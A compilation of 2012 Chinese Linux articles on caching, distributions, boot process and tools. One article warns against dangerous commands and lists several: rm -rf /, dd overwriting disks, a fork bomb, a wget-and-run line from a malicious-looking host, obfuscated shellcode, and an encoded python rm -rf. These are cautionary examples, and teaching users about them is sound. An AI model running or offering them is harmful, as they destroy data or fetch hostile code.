       总之,这十大精选开源编程工具会越来越流行,喜欢编程的朋友们,千万不要错过这些工具,它们会让你省省心,不用发愁,整个编程化繁为简。

来自:http://tech.it168.com/a2012/0309/1322/000001322923_all.shtml

Linux:Memcached真的过时了吗?

这两年Redis火得可以,Redis也常常被当作Memcached的挑战者被提到桌面上来。关于Redis与Memcached的比较更是比比皆是。然而,Redis真的在功能、性能以及内存使用效率上都超越了Memcached吗?

下面内容来自Redis作者在stackoverflow上的一个回答,对应的问题是《Is memcached a dinosaur in comparison to Redis?》(相比Redis,Memcached真的过时了吗?)

You should not care too much about performances. Redis is faster per core with small values, but memcached is able to use multiple cores with a single executable and TCP port without help from the client. Also memcached is faster with big values in the order of 100k. Redis recently improved a lot about big values (unstable branch) but still memcached is faster in this use case. The point here is: nor one or the other will likely going to be your bottleneck for the query-per-second they can deliver.

没有必要过多的关心性能,因为二者的性能都已经足够高了。由于Redis只使用单核,而Memcached可以使用多核,所以在比较上,平均每一个核上Redis在存储小数据时比Memcached性能更高。而在100k以上的数据中,Memcached性能要高于Redis,虽然Redis最近也在存储大数据的性能上进行优化,但是比起Memcached,还是稍有逊色。说了这么多,结论是,无论你使用哪一个,每秒处理请求的次数都不会成为瓶颈。(比如瓶颈可能会在网卡)

You should care about memory usage. For simple key-value pairs memcached is more memory efficient. If you use Redis hashes, Redis is more memory efficient. Depends on the use case.

如果要说内存使用效率,使用简单的key-value存储的话,Memcached的内存利用率更高,而如果Redis采用hash结构来做key-value存储,由于其组合式的压缩,其内存利用率会高于Memcached。当然,这和你的应用场景和数据特性有关。

You should care about persistence and replication, two features only available in Redis. Even if your goal is to build a cache it helps that after an upgrade or a reboot your data are still there.

如果你对数据持久化和数据同步有所要求,那么推荐你选择Redis,因为这两个特性Memcached都不具备。即使你只是希望在升级或者重启系统后缓存数据不会丢失,选择Redis也是明智的。

You should care about the kind of operations you need. In Redis there are a lot of complex operations, even just considering the caching use case, you often can do a lot more in a single operation, without requiring data to be processed client side (a lot of I/O is sometimes needed). This operations are often as fast as plain GET and SET. So if you don’t need just GEt/SET but more complex things Redis can help a lot (think at timeline caching).

当然,最后还得说到你的具体应用需求。Redis相比Memcached来说,拥有更多的数据结构和并支持更丰富的数据操作,通常在Memcached里,你需要将数据拿到客户端来进行类似的修改再set回去。这大大增加了网络IO的次数和数据体积。在Redis中,这些复杂的操作通常和一般的GET/SET一样高效。所以,如果你需要缓存能够支持更复杂的结构和操作,那么Redis会是不错的选择。

来源:Is memcached a dinosaur in comparison to Redis?(其他人的回答同样值得一看)

VIA http://www.linuxde.net/2012/03/9007.html

Linux:Linux 系统安全性能检查小记

Linux系统安全性能检查小记:

1、Accounts检查

# less /etc/passwd# grep :0: /etc/passwd

  注意新的用户,和UID,GID是0的用户。

2、Log检查

  注意“entered promiscuous mode”

  注意错误信息:

Remote Procedure Call (rpc) programs with a log entry that includes a large number (> 20) strange characters(-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM)

  最后一条目前还没理解,也没碰到过,请指点。

3、Processes检查

# ps -aux

  注意UID是0的

# lsof -p 可疑的进程号

  察看该进程所打开端口和文件

4、Files检查

# find / -uid 0 –perm -4000 –print# find / -size +10000k –print# find / -name “…“ –print# find / -name “ “ –print# find / -name “。 “ –print# find / -name “ “ –print

  注意SUID文件,可疑大于10M,…,。和空格文件

5、Rpm检查

# rpm –Va

  输出格式:

S – File size differsM – Mode differs (permissions)5 – MD5 sum differsD – Device number mismatchL – readLink path mismatchU – user ownership differsG – group ownership differsT – modification time differs

  注意和这些相关的 /sbin, /bin, /usr/sbin, and /usr/bin

  平时养成安装第三方文件时check MD5的习惯,呵呵,要不太恐怖了

  运行的时候会出很多5或者missing的提示,如果不是上面及格目录的,不用太注意

6、Network检查

# ip link | grep PROMISC

  正常网卡不该在promisc模式,当然安全server除外,否则可能是有人入侵在sniffer

# lsof –i# netstat –nap

  察看不正常打开的TCP/UDP端口,嘿嘿,需要平时注意,比较,好像我没这样用心过:)

# arp –a

  这个更恐怖了,难道叫人document所有的MAC地址先

7、Schedule检查

  注意root和UID是0的schedule

# crontab –u root –l# cat /etc/crontab# ls /etc/cron.*

Linux:千万千万不要运行的 Linux 命令

  文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统。所以不在root等高级管理权限下执行命令是很好的习惯。

  早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭 都来不及。

  这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

  下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。

sudo rm -rf / 删除根分区全部的文件sudo rm -rf . 删除当前目录下的所有文件sudo rm -rf * 同上rm -rf * or rm -rf *.* 同上rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。

  同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

sudo mkfs.xxxx

  dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。

  同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

any_command > /dev/sda 用随意的数据破坏硬盘

  上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

  fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

:(){:|:&};:

  这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

fork while fork

  有的时候,压缩包也是一个破坏来源~

  有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

  有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

  从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

wget [url]http://some_place/some_file[/url]sh ./some_filewget [url]http://hax018r.org/malicious-script[/url]sh ./malicious-script

  载脚本要确保来源正规,如果有能力,可以阅读其代码。即使有源代码的程序,也不要随便编译执行:

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″”xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″”xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″”x56x04xf7x56x08xf7x56x0cx83xc4x74x56″”x8dx73x08x56x53x54x59xb0x0bxcdx80x31″”xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″”x6ex2fx73x68x00x2dx63x00″”cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

  上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

  python 一类的脚本语言,同样可以拿来搞破坏:

python -c ‘import os; os.system(“”.join([chr(ord(i)-1) for i in “sn!.sg! “]))’

  这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

  那么我们如何避免运行恶意程序呢?

  第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。

  第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。

  第三要保证软件、脚本的来源正规。

  最后一点,虽然比较消极,但是确实十分重要的一点:

 经常备份你的数据!!

Linux:Ubuntu Builder —— 一个制作自己的发行版的工具

Ubuntu Builder 是一个使用起来很简单的用来构建基于 Ubunut 的自己的发行版的工具。

你可以下载最新的 Ubuntu Builder 的 DEB 安装包。下载和安装请前往:http://code.google.com/p/ubuntu-builder/downloads/list

https://dn-linuxcn.qbox.me/data/attachment/album/201203/15/144943tz6lzncsensbtcfn.png

Ubuntu Builder 允许您选择已经下载好的 Ubuntu ISO 文件(i386或amd64)然后基于它来制作或者选择 Ubuntu Builder 所列出来的各种 Ubuntu 微型版本。

https://dn-linuxcn.qbox.me/data/attachment/album/201203/15/144945a2dndxdaxfwbbsda.jpg

选择其中一个,然后就可以基于它提取和定制自己的启动项。

https://dn-linuxcn.qbox.me/data/attachment/album/201203/15/144947u8atoamgpuzop4gf.jpg

给自己的 LiveCD 起发行版的名字、用户名、计算机名或主机名等 Ubuntu 发行信息。在定制发行版的时侯,你可以选择桌面环境和窗口管理器:GNOME, KDE, XFCE, LXDE, OpenBox, FluxBox, Blackbox, IceWM。

还可以增加和删除 sources.list 。可以安装 DEB 包,定义他们的参数。完成这些定制后,点击“Build ISO”即可生成你自己的基于 Ubuntu 的发行版了。

来源:https://linux.cn/article-400-1.html

Linux:一些国内常用的Ubuntu软件包

在网上发现了别人分享出来的一些Ubuntu软件包,不少在Ubuntu软件中心找不到,供需要的人下载。在此谢谢分享的同学。

http://u.115.com/file/dnajnkt3#
linux宽带认证客户端drcom-pum_1.0_all.deb
http://u.115.com/file/aqp8qw5q#
drcom-szu_1.1.0_i386.deb
http://u.115.com/file/e6c1685f#
linuxqq_v1.0.2_i386.rar
http://u.115.com/file/bwn6ji45#
安装微博是需要的支持平台安装命令.doc
http://u.115.com/file/clicl5un#
WeiboAIR.air
http://u.115.com/file/dijvlovv#
ubuntu-11.04-desktop-i386.iso.torrent
http://u.115.com/file/dijzam57#
写字板gwrite_0.4.0-1_all.deb
http://u.115.com/file/aj8gp5e0#
快车flashget_1.0.1-1_i386_cn.deb
http://u.115.com/file/bwn71jnc#
跨平台的硬盘清理程序:BleachBit(bleachbit_0.8.7-1_all_ubuntu1010).deb
http://u.115.com/file/es1nc3y1#
金山词霸linux版xdict_1.0.3-2_i386.deb
http://u.115.com/file/aj8gni93#
关机软件easyshutdown_0.4_all.deb
http://u.115.com/file/es1n7qr6#
谷歌图片picasa_3.0-current_i386.deb
http://u.115.com/file/czch9jaa#
谷歌浏览器google-chrome-stable_current_i386.deb
http://u.115.com/file/czcu1d3j#
谷歌地球google-earth-stable_current_i386.deb
http://u.115.com/file/czcu7t3p#
福昕PDF阅读器FoxitReader_1.1.0_i386.deb
http://u.115.com/file/czcu79ka#
飞信linux-fetion_1.0.0-ubuntu_7.10_gutsy_i386.deb
http://u.115.com/file/bwn6q8rg#
wine-thunder_0.6-2_all.deb
http://u.115.com/file/czcut60c#
Ubuntu下类似迅雷多线程下载工具multiget_1.1.2-0getdeb1_i386.deb
http://u.115.com/file/aj8iy0v0#
Ubuntu系统优化工具ubuntu-tweak_0.5.11-1_all.deb
http://u.115.com/file/czcut2ol#
skype-ubuntu_2.2.0.25-1_i386.deb
http://u.115.com/file/bwn6abo5#
ppstream_1.0.0-1_i386.deb
http://u.115.com/file/es13292v#
pplive_1.0-4_i386.deb
http://u.115.com/file/es132868#
opera_11.10.2092_i386.deb
http://u.115.com/file/dijd4yrc#
iceplayer是一个国人写的音乐播放器,支持歌词展示iceplayer_4.03-20110214.deb
http://u.115.com/file/czcuif3n#
google桌面google-desktop-linux_current_i386.deb
http://u.115.com/file/czcui2e3#
Fotoxx:相片处理工具busyhot-1.1-32.deb
http://u.115.com/file/aj8ipq7m#
flashget-1.0.2-0_cn.noarch.deb

 

VIA http://blog.sina.com.cn/s/blog_5cdf93b60100tvw9.html

Linux:在 Windows 读取 Linux 分割区的 Ext2Fsd

  不少中小企业都会使用NAS作为档案伺服器,再外接一个USB硬碟作备份之用。现时市面上的NAS使用的都是Linux,如何去查看备份后的内容,便成为一众Windows用户的难题,这时Ext2Fsd便是救星了。

  Ext2Fsd是一个可在Windows读取Linux分割区的工具,采用GPLv2用户授权。名字虽然是Ext2Fsd,但其实Ext2、 Ext3、Ext4格式都可以读写。目前新版本的NAS及openSUSE、Ubuntu、Fedora等受欢迎的Linux版本,都会采用Ext4作为 预设的档案系统。笔者的主机上其中一个分割区便用了Ext4来安装Ubuntu。在Windows下启用Ext2 Volume Manager,便可看到Ext4的分割区。画面上显示的格式是Ext3,但实际上是Ubuntu的Ext4领域。

  USB硬碟的情况也是一样,插入后打开Ext2 Volume Manager便可看到,但预设值却没有为USB硬碟分配代号,必须手动进行。在USB硬碟的分割区上按右键选Change Drive Letters,再按Add,分配代号后便可利用Windows的档管理员如常地看到Ext4的分割区。如果看到中文档名是乱码,可把编码改成UTF- 8。

  Ext2Fsd当然也可以写入档案,只是Ext2Fsd在设计时并没有预想高负荷的存取状况,亦没有日志式档案系统、扩充属性、ACL等功能,故Ext2Fsd的一般用法,都是读取Linux分割区和USB硬碟的备份为主。

文章来自Linuxpilot,作者为Kenneth Mak,http://www.linuxpilot.net/software/kiji/2012031701Ext2Fsd

Linux:Linux 的启动流程详解

第一阶段:BIOS启动引导阶段

  1. 在该过程中实现硬件的初始化以及查找启动介质
  2. 从MBR中装载启动引导管理器(GRUB)并运行该启动引导管理

第二阶段:GRUB启动引导阶段

  1. 装载stage1
  2. 装载stage1.5
  3. 装载stage2
  4. 读取/boot/grub.conf文件并显示启动菜单
  5. 装载所选的kernel和initrd文件到内存中

第三阶段:内核阶段

  1. 运行内核启动参数
  2. 解压initrd文件并挂载initd文件系统,装载必须的驱动
  3. 挂载根文件系统

第四阶段:Sys V init初始化阶段

  1. 启动/sbin/init程序
  2. 运行rc.sysinit脚本,设置系统环境,启动swap分区,检查和挂载文件系统
  3. 读取/etc/inittab文件,运行在/et/rc.d/rc<#>.d中定义的不同运行级别的服务初始化脚本
  4. 打开字符终端1-6号控制台/打开图形显示管理的7号控制台

启动流程和细节详解  BIOS ==> bootloader ==> kernel & initrd.img ==> /sbin/init  1.bootloader (grub)

  /boot/grub/grub.conf    在/boot/grub目录中有两个stage文件,其中:    stage1      stage2    如果grub出现问题可能会有两种情况:  a.无法进入grub,屏幕左上角只出现一个光标。出现这种情况基本上MBR已经被破坏,需要进入rescue模式进行修复。

  –> chroot环境,执行 “grub-install /boot所在分区” 进行修复  –> 无grub相关命令时,安装grub.rpm包进行恢复  –> /boot目录下无相关的vmlinuz和initrd.img文件时,安装kernel.rpm包进行修复  –> 无grub.conf时需要手工修复

  b.grub成功加载,屏幕出现“grub>”,表示配置文件grub.conf找不到。

  –> 手工修复

  2.kernel & initrd.img

  在加载vmlinuz和initrd时出现:kernel panic情况,基本是grub.conf设置参数出问题。    –> 检查grub.conf编写是否出现问题    –> 也有可能是分区设置或者硬盘损坏等问题,需要进入rescue模式检查

  3./sbin/init

  /sbin/init的配置文件是/etc/inittab  按照这个配置文件,系统会依次执行以下脚本:    —> /etc/rc.d/rc.sysinit  定义hostname,重新挂载各分区,加载各模块    —> /etc/rc.d/rc[0-6].d/目录下以S开头的脚本  启动各runlevel的服务    —> mingetty /dev/tty[1-6]  启用终端

Linux:什么Linux服务器最适合你?

  无论你是什么样的规模,总有一款发行版很适合。

  说到买衣服,我跟普通人一样。我只想走到一家商店,取下合适的衣服,买下后(什么,试穿一下?你是在开玩笑吗?!),直接回家。没错,我就想这样。 这些年来,我明白了这点:就因为某东西应该会合适并不意味着它就会合适。Linux服务器方面也是如此。当然,它们都基于同样的代码库而建,可以运行同样 的应用程序,但是某一款可能很适合你,而另一款可能不适合你。

  那么,你怎样才能知道哪一款适合自己呢?我们不妨先看看你应该对任何计算决策提出的这个基本问题:“你其实想要做的是什么?”

应用于大企业

  假设贵公司拥有数百个到几万个用户。你想要什么样的Linux服务器?这个问题其实很容易回答。你的首选应该是红帽企业级Linux(RHEL)。

  红帽为大企业提供了非常成熟和完善的支持,也很容易找到通晓RHEL的认证的技术员、管理员和工程师。RHEL还在一系列广泛的硬件上得到支持。无 论你运行的是机架x86服务器、刀片服务器、IBM POWER系统还是大型机,总有适合你的一款RHEL。简而言之,红帽堪称企业Linux的典范。

https://dn-linuxcn.qbox.me/data/attachment/album/201203/22/0818327jtec52sl313j15z.jpg

  不好意思,长头发,现在红帽相当适合大企业。

  觉得RHEL成本太高了,不适合你的口味?毕竟一分价钱一分货;但是另外有两款企业级Linux发行版值得大企业关注。这两款发行版就是甲骨文Linux和SUSE Linux企业服务器(SLES)。

  甲骨文Linux实际上是RHEL的山寨版。虽然我知道个别人喜欢甲骨文Linux甚过喜欢母发行版(RHEL),但是据我所知,用过它的人大多觉 得没有理由推荐它、而不推荐RHEL。另一方面,SLES有一个使用方便的安装和管理工具:YaST,我觉得它对于部署在分支机构规模的环境下大有用处。

  假设你的员工队伍中已经有一批并不专攻RHEL、甲骨文Linux或SLES的Linux专家。这种情况下,你可能应该考虑 Debian(http://www.debian.org/)。这是个社区Linux,但是对于深入了解Debian的那些人来说,它用起来极好。不 过,Debian不是适合非专家用户的Linux。

应用于小公司

  好了,假设贵公司只有几百号人,或者只有几十号人,也许就只有你和一条狗。现在你需要什么样的Linux服务器?上面的所有选择仍然适用。不过,我 觉得在这方面RHEL和SLES更加难分胜负。凭我的经验,RHEL在散布于多个地方的众多服务器上更容易管理,而SLES对置身于小办公室的我来说总是 表现出色。我建议你两者都试用一下,然后再作出自己的决定。

  目前,如果你已经拥有一些高素质的Linux管理员,又想省点钱,那么我会建议看一下红帽和SUSE各自的社区发行 版:Fedora(http://fedoraproject.org/)和openSUSE(http://www.opensuse.org/en /)。无法从两者处得到各自公司的支持。换句话说,如果你选择了这些发行版,得自行提供支持。但是如果你的IT员工对Linux熟悉得很,可能不需要帮 助,就能满足小公司的要求。就我自己的小办公室(有20个台式机和4台服务器)而言,openSUSE用起来很好。

  Ubuntu怎么样?Ubuntu也许是桌面Linux发行版中最受欢迎的品牌了。同样有Ubuntu Linux Server。你可以将Ubuntu Server用于比较大的公司;但是就大企业规模的负载而言,我还是更倾向于像甲骨文、红帽或SUSE这样的大公司为我提供支持,因为它们在处理安装在数 据中心规模的环境下的系统方面有着丰富经验。如果是至多只有一两个机架的服务器,Ubuntu应该非常适用。

  的确,如果你对自家小型办公室/家庭办公室(SOHO)服务器的要求只是基本的文件和打印机共享服务,那么现在的任何一款服务器Linux都能满足 要求。的确,在规模最小的办公室中,你可能已经在使用Linux,只是没有意识到罢了。许多可以用作USB打印服务器的网络附加存储(NAS)设备就使用 Linux来提供文件和打印服务,比如巴法络LinkStation Pro系列(http://www.buffalotech.com/products/network-storage/)。对小办公室来说,这也许就 是你所需要的Linux。

  但是如果你需要介于两者之间的Linux服务器,怎么办?你知道自己需要的不仅仅是基本的文件和打印服务,但又不想出钱请某人担任服务器管理员。你 自己可以充任服务器管理员这个角色,但是你更想把时间花在公司业务上,而不是花在服务器上。这种情况下,有适合你的Linux吗?

  当然有。这些年来,已经出现了好多一切齐全即可使用的Linux发行版。如果使用这种发行版,你可以将Linux安装在服务器上——服务器也许就是 一台很老的台式机,只是有点太旧了,再也没法继续日常使用,或者购买一款硬件设备,使用单一界面来掌管一切任务。目前这一代安装后即忘的Linux服务器 的两个代表是ClearOS(http://www.clearfoundation.com/Software/overview.html)和 Zentyal(http://www.zentyal.org/)。

处理单一任务的服务器

  假设你不需要一台通用服务器。除了文件和打印外,你只需要完成一项任务。你不想仅仅为了处理这一项任务而很麻烦地维护一台服务器,无论这项任务是提供电子邮件服务器、内容管理系统还是域名系统(DNS)服务器。仍可以使用Linux吗?照样可以。

  这些年来,出现了好多“只做好一项任务”的Linux服务器发行版。其中,仍然存在、本人又最喜欢的有:基于Ubuntu服务器的TurnKey Linux、由红帽的几个创始人开发的rPath以及SUSE Appliance Program。

  TurnKey Linux 使用比较老的Ubuntu Linux版本8.04作为其基础。别被版本老给蒙骗了:就大多数企业用途而言,该发行版用起来很好。TurnKey Linux提供的单一用途的应用超过45种。这包括:各种内容管理系统,比如Drupal、Joomla和WordPress;通讯系统,包括 Zimbra电子邮件和ejabberd即时通讯;以及基本的办公室服务器,比如文件服务器和用于Windows网络的主域控制器。你可以将这些部署在作 为虚拟机的独立服务器上,也可以部署在亚马逊云上。

  rPath适用于这类公司:已经在内部拥有自己的企业应用程序,想把它们迁移到云端。rPath专门把你已经在内部拥有的应用程序由一种以服务器为中心的模式改成成本常常更低的云模式,而不是仅仅为你提供常用的、随时可用的Linux应用程序。

https://dn-linuxcn.qbox.me/data/attachment/album/201203/22/08183239ovhpx2vhtp303i.jpg

  SUSE Appliance Program提供了异常简单的安装。

  SUSE Appliance Program(http://www.suse.com/partners/isv/appliance/)提供了类似于TurnKey Linux的方案。但是它不是简单地提供一套常用的服务器应用程序,而是使用SUSE Studio这个核心的在线Linux应用程序构建器和SUSE Linux Enterprise JeOS(正好够用的操作系统),让你或独立软件开发商(ISV)能够精挑细选Linux服务器中想要的组件。

  不过与TurnKey不一样,SUSE的Applications(http://www.suse.com/partners/isv /appliance/appliance_pavilion.html)还为开发商的企业应用程序提供了全面支持。这包括:Adobe LiveCycle企业套件软件(一款集成的J2EE服务器解决方案);面向中小型企业的多款IBM即插即用硬件设备;以及Messaging Architects的M+Guardian,这是基于策略的电子邮件安全解决方案。不过与TurnKey一样,你可以通过多种方式来部署这些应用程序: 部署在虚拟机上、部署在亚马逊云上或部署在专用硬件平台上。

LAMP/Web服务器

  恐怕最流行的一种服务器莫过于运行Linux-Apache-MySQL-PHP/Python/Perl组合(名为LAMP)的服务器了。这些服 务器支撑着世界上大多数的Web服务器,它们还提供了世界上大多数的电子邮件及其他互联网服务。如果你由一家Web主机托管公司来运行自己的网站,那么很 可能就在使用CentOS Linux(http://www.centos.org/)。这是一款低成本的RHEL克隆版。

  CentOS用起来很好,前提是你知道自己在干什么。我在自己的Web服务器上运行CentOS时,如果只想在默认设置下运行它,它很好;但如果你 不是Linux专家,它就很难处理。像Webmin(http://webmin.com/)这些易于使用的工具使得设置用户等日常任务很容易完成,但是 如果你想处理更多的任务,它就需要专家了。

作为服务器的Linux

  说到任何服务器的使用,这最后一点很重要。我听许多人抱怨运行Linux服务器有多难。就大多数普通的使用而言,Linux用起来并不难。它在办公 室里面的主要对手Windows Server 2008 R2或在数据中心的主要对象AIX 和Solaris用起来也不难。但是没有哪一款服务器操作系统用起来像桌面系统一样容易——你越是更充分地利用它,越是要求它处理普通任务之外的任务,那 么遇到需要专家的情况这种可能性就越大。

  千万别忘了上面这一点。连一台普通的文件服务器(同样,不管采用什么操作系统) 都很难始终为所有客户提供其服务。服务器管理起来本身就要比桌面系统困难得多。

  尽管如此,Linux还是提供了一种低成本的方法,为你提供可能需要的每一项网络服务。就任何网络要求而言——无论只是你们小两口想在家庭办公室共 享文件和单一打印机,还是Facebook或华尔街为数百万计的并发用户同时提供实时数据,Linux都是值得选择的服务器操作系统。

原文链接: http://www.itworld.com/data-centerservers/256430/linux-servers-which-distro-you

译文:http://server.51cto.com/sManage-324215.htm

Linux:在redhat enterprise 6上使用Oracle11g的occi比windows简单

    在redhat enterprise 6 上安装了Oracle11g后,使用occi编程比windows里使用visual studio.net 里使用occi简单得多

1)在oracle官网下载instantclient_11_2 把那个sdk也下载了解压到这个文件夹中

2)进入instantclient_11_2 进行:ln -sf libclntsh.so.11.1 libclntsh.so    ln -sf libocci.so.11.1 libocci.so

3) 把$ORACLE_HOME/network/admin/下的文件拷贝到instantclient_11_2中

4)配置环境变量,编辑.bash_profile加上

export ORACLE_HOME=$ORACLE_HOME:/instantclient_11_2

export LD_LIBRARY_PATH=/instantclient_11_2:$LD_LIBRARY_PATH

export  TNS_ADMIN=/instantclient_11_2

  在编译你的occi程序时:

g++ -I /instantclient_11_2/sdk/include -L /instantclient_11_2 yourocci.cxx -locci -lclntsh -o yourocci

来源:https://linux.cn/article-429-1.html

Linux:中标麒麟linux 6上安装新浪微博客户端

新浪微博客户端 weiboair 官方地址:http://sinatair.sinaapp.com/

安装平台:中标麒麟linux 6

按照新浪微博客户端的安装要求,首先安装adobeAir ,请到:http://helpx.adobe.com/air/kb/archived-air-sdk-version.html 下载

Adobe AIR 2.6 runtime版本,大小为15.4M

#chmod +x AdobeAIRInstaller.bin
#./AdobeAIRInstaller.bin

进入图形安装界面:

点击查看大图

点击应用程序–附件-Adobe Air Application Installer

找到你刚刚下载的AIR微博安装包来进行安装

然后完 成!

点击查看大图

来自:http://www.xxlinux.com/newxxlinux/system/desktop/2012-03-20/511.html

Linux:Linux 下游戏 Me & My Shadow

简介

该款小游戏的主要角色是“我”和“我的影子”。通过“我”的指引,和影子一块过关。

项目主页-http://meandmyshadow.sourceforge.net

截图

 

操作键

方向键(↑、↓、←、→)控制前进方向 空格键:记录“我”的移动路线或终止记录,以便影子移动 R:当闯关失败时,按下 R 键重新闯关

安装

方法一

点击主页下载 Linux(bin) 格式文件

在执行 bin 文件之前,需安装下面依赖以运行:

sudo aptitude install libsdl-ttf2.0-0  libsdl-image1.2 libsdl-mixer1.2 libsdl-gfx1.2-4 libssl0.9.8

然后执行 bin 文件。

方法二

打开终端,输入下面命令:

sudo add-apt-repository ppa:odamite/meandmyshadow-stable
sudo apt-get update
sudo apt-get install meandmyshadow

安装完毕后,在“应用分类-游戏”里面打开 Meandmyshadow 即可。

来自:http://planet.linuxdeepin.com/2012/03/31/game-me-my-shadow/

Linux:Ubuntu12.04中新的快捷键

  通过便捷的快捷方式,我们可以轻松的增强在Unity桌面下的工作效率。在Ubuntu12.04,快捷按钮存放在Shortcut Overlay里(可以通过点击和按住Super/Meta/Windows键)。

  现在在12.04里,新的更新出来了,添加了智能的快捷方式,用来删除那些错误的操作(使用super+键)。

新的快捷键是:

  • Ctrl+Super+Up 键:最大化当前窗口
  • Ctrl+Super+Down键:最小化当前窗口
  • Ctrl+Super+D:最小化所有窗口

半最大化快捷键如下:

  • Ctrl+Super+Left:半最大化当前窗口(左边)
  • Ctrl+Super+Right:半最大化当前窗口(右边)

 

来自: http://blog.51osos.com/linuxnews/ubuntu12-04中新的快捷键/

Linux:安装Ubuntu前三件重要的事情

虽然现在安装ubuntu已经相对简单多了,不需要很多专业的知识,但是在安装前还是需要搞定三件重要的事情。

  • 备份数据
  • 规划磁盘
  • 是否真的需要Ubuntu

备份数据

记得我最初安装Linux时,常常因为某些错误造成数据丢失。如果你没有完全的把握不犯错,或者说你无法确保安装过程中不出现人力不可抗拒因素的问题(这个比较汗~~),那么安装系统前请做好数据备份。

以下为备份数据常用的四种方法:

  • 备份到云端。云端这个词是现在才有的,传统的说就是在线备份,备份到互联网上,现在很多的网盘可以给你提供良好的服务,比如Dropbox、Box.net,国内比较好的有115和dbank,你可以根据具体情况选用。
  • 备份到移动硬盘。这个方法比第一个方便多了,但也不是你刚好可以有用来备份数据的外设,一般来说本机磁盘存放的东西容量可能是很大的咯。
  • 刻录到光盘。这个办法比较老套,现在很多人都不用了,但也不失为一种方法,尤其在条件刚刚适合的时候。
  • 备份到其他分区。相对于前面三者,这个可谓是最简单,也是最速效的了,那么你就得规划好的你分区,专门分出一部分硬盘来存放数据。

强烈建议大家在安装系统前备份数据,这是个很好的习惯,有良好的数据管理习惯会很有好处的。

规划磁盘

磁盘规划对于老手来说可能很简单,但是对于新手来说,这一部分是很让人很头疼的。关于Ubuntu的安装,官方提供了详细的指导文档,但是很多人没有阅读官方指导的习惯,光盘拿到手才开始到处问问题,其实很多问题都在官方指导中有详细的说明。当然,官方的指导有很多内容都是很啰嗦的,让人觉得繁琐无味,不过对于真正的新手,还是要有完整阅读参考的良好习惯。

言归正传,继续说说规划磁盘问题。一般来说,安装Linux需要以下三个分区:

  • 根分区(/)。也叫做root分区,整个系统将被安装到这个分区。
  • 用户分区(/home)。用来存放具体每个用户的相关文件。
  • 交换分区(swap)。这个怎么说呢,简单的解释就相当于Windows下的虚拟内存,实际内存再大的机器也建议规划有swap分区。

再来说说以上三个分区具体需要多大的容量:

  • 根分区。这个是用来安装系统的,所以可以参考具体系统的官方说明,一般来说安装完整的Linux桌面系统,4G的容量就绰绰有余了,当然随着以后应用软件的安装还会占更多空间。
  • 用户分区。这个是用来存放具体的用户文件,可以根据自己的需求来分配。
  • 交换分区。最早的说法是建议为实际内存的两倍,不过随着现在硬件的发展,一般都有了2G的内存,如果swap再来个4G的话,貌似有点浪费,所以建议1G或者2G就行了。

说了这么多,那么具体如何来规划磁盘呢?

以下有四个图,很明了的表示了四种具体的分区方案:

只安装Linux系统分区方案1

只安装Linux系统,并有独立的数据存放分区分区方案2

linux与windows双系统共存分区方案3

Linux于Windows双系统,并有独立的数据存放分区分区方案4

具体的分区操作,可以在安装系统前进行,使用你所熟悉的一款磁盘管理工具来进行分区,也可以在安装系统时进行分区操作。

是否真的需要Ubuntu

thinking-ubuntu为什么选择Ubuntu?Ubuntu是众多Linux发行版中比较流行的一个,有着庞大的用户群,良好的社区支持。当然,它不是你的唯一选择,还有其他的Linux发行版也是很不错的,比如Fedora、LinuxMint、OpenSUSE和Archinux等等。。 我现在用的就是Archlinux

为什么不选择其他的?当然,你也可以选择其他的Linux发行版。现在很多Linux发行版都提供了LiveCD,可以不用安装到硬盘,直接使用CD来引导就可以体验系统。你可以使用LiveCD来试试多个系统,然后根据自己的体验和具体电脑情况来选择比较合适的。

其他原因?如果你现在还使用着一台配置比较低的电脑,那么Ubuntu也可能不是最好的选择。它的最小建议配置如下:

  • 显卡
  • 512内存
